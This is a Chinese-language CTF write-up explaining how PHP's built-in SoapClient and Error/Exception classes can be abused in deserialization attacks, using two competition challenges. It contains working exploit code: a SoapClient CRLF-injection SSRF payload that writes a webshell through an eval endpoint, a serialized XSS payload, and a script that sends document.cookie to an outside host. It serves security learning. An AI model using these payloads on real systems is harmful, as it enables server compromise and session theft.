2020-06-23
984
从两道CTF题目学习PHP原生类反序列化利用
文章围绕着一个问题,如何在原本的代码中找不到pop链的时候,通过原生类构造反序列化漏洞?
主要是两个原生类:
- SoapClient
- Error(PHP7)或Exception(PHP5和7)
SoapClient + CLRF +SSRF
题目:2018LCTF Bestphp’s revenge
SoapClient类 用来提供和使用 webservice。
1
| public SoapClient::SoapClient(mixed $wsdl[,array$options])
|
第一个参数为WSDL 文件的 URI ,如果是NULL 意味着不使用 WSDL 模式。
第二个参数是一个数组,如果在WSDL 模式下,这个参数是可选的。如果在non-WSDL 模式下,必须设置location 和 uri 参数,location是要请求的 URL,uri是要访问的资源。
在官方文档中可以看到,它的user_agent 参数是可以控制 HTTP头部的 User-Agent 的。而在HTTP 协议中,header 与body 是用两个 \r\n
分隔的,浏览器也是通过这两个 \r\n来区分 header 和body 的。
The user_agent option specifies string to use in User-Agent header.
demo:
1 2 3 4 5 6
| <?php $a= array('location'=>'http://127.0.0.1:20000/','uri'=>'user'); $x= newSoapClient(NULL,$a); $y= serialize($x); $z= unserialize($y); $z->no_func();
|
监听本地的20000端口:
1 2 3 4 5 6 7 8 9 10
| POST / HTTP/1.1 Host: 127.0.0.1:20000 Connection: Keep-Alive User-Agent: PHP-SOAP/5.5.9-1ubuntu4.29 Content-Type: text/xml; charset=utf-8 SOAPAction: "user#no_func" Content-Length: 371
<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="user" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:no_func/></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
看这个POST的请求,发现有两个地方是可控的,User-Agent
和 SOAPAction
,而且明显Content-Type 和 Content-Length 都在User-Agent 之下,用 wupco 师傅的payload 就能进行任意的 POST请求,这里要先 urldecode 才可以进行反序列化。
exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $target= 'http://127.0.0.1/test.php'; $post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers= array( 'X-Forwarded-For:127.0.0.1', 'Cookie:admin=1' ); $b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"peri0d"));
$aaa= serialize($b); $aaa= str_replace('^^','%0d%0a',$aaa); $aaa= str_replace('&','%26',$aaa); echo $aaa;
$x= unserialize(urldecode($aaa)); $x->no_func();
|
test.php
1 2 3 4 5 6 7
| <?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ echo 'hi'; @$a=$_POST[1]; @eval($a); } ?>
|
这样就可以成功写入shell.php
。
Error/Exception + XSS
题目:BJDCTF 2rd XSS之光
Git泄露,用GitHack dump下来:
只有一个index.php
文件:
1 2 3
| <?php $a = $_GET['yds_is_so_beautiful']; echo unserialize($a);
|
yds???杨大树???
Error类就是php的一个内置类用于自动自定义一个Error
,在php7的环境下可能会造成一个xss
漏洞,因为它内置有一个toString
的方法。
Exception类跟Error类原理一样,但是也适用于PHP5
我们先来验证一下:
POC
1 2 3
| <?php $a = new Exception("<script>alert(1)</script>"); echo urlencode(serialize($a));
|
得到编码后的反序列化结果:
1
| O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
|
成功触发XSS。
也可以直接打cookie:
1 2 3
| <?php $s = '<script>var img=document.createElement("img");img.src="http://f7ffa642-8f7f-4879-bc49-e75d26e7c2bc.node3.buuoj.cn/a?"+escape(document.cookie);</script>'; echo serialize($s);
|
SimpleXMLElement
https://ca0y1h.top/code_audit/5.PHP代码审计学习——Day3/#SimpleXMLElementXXE漏洞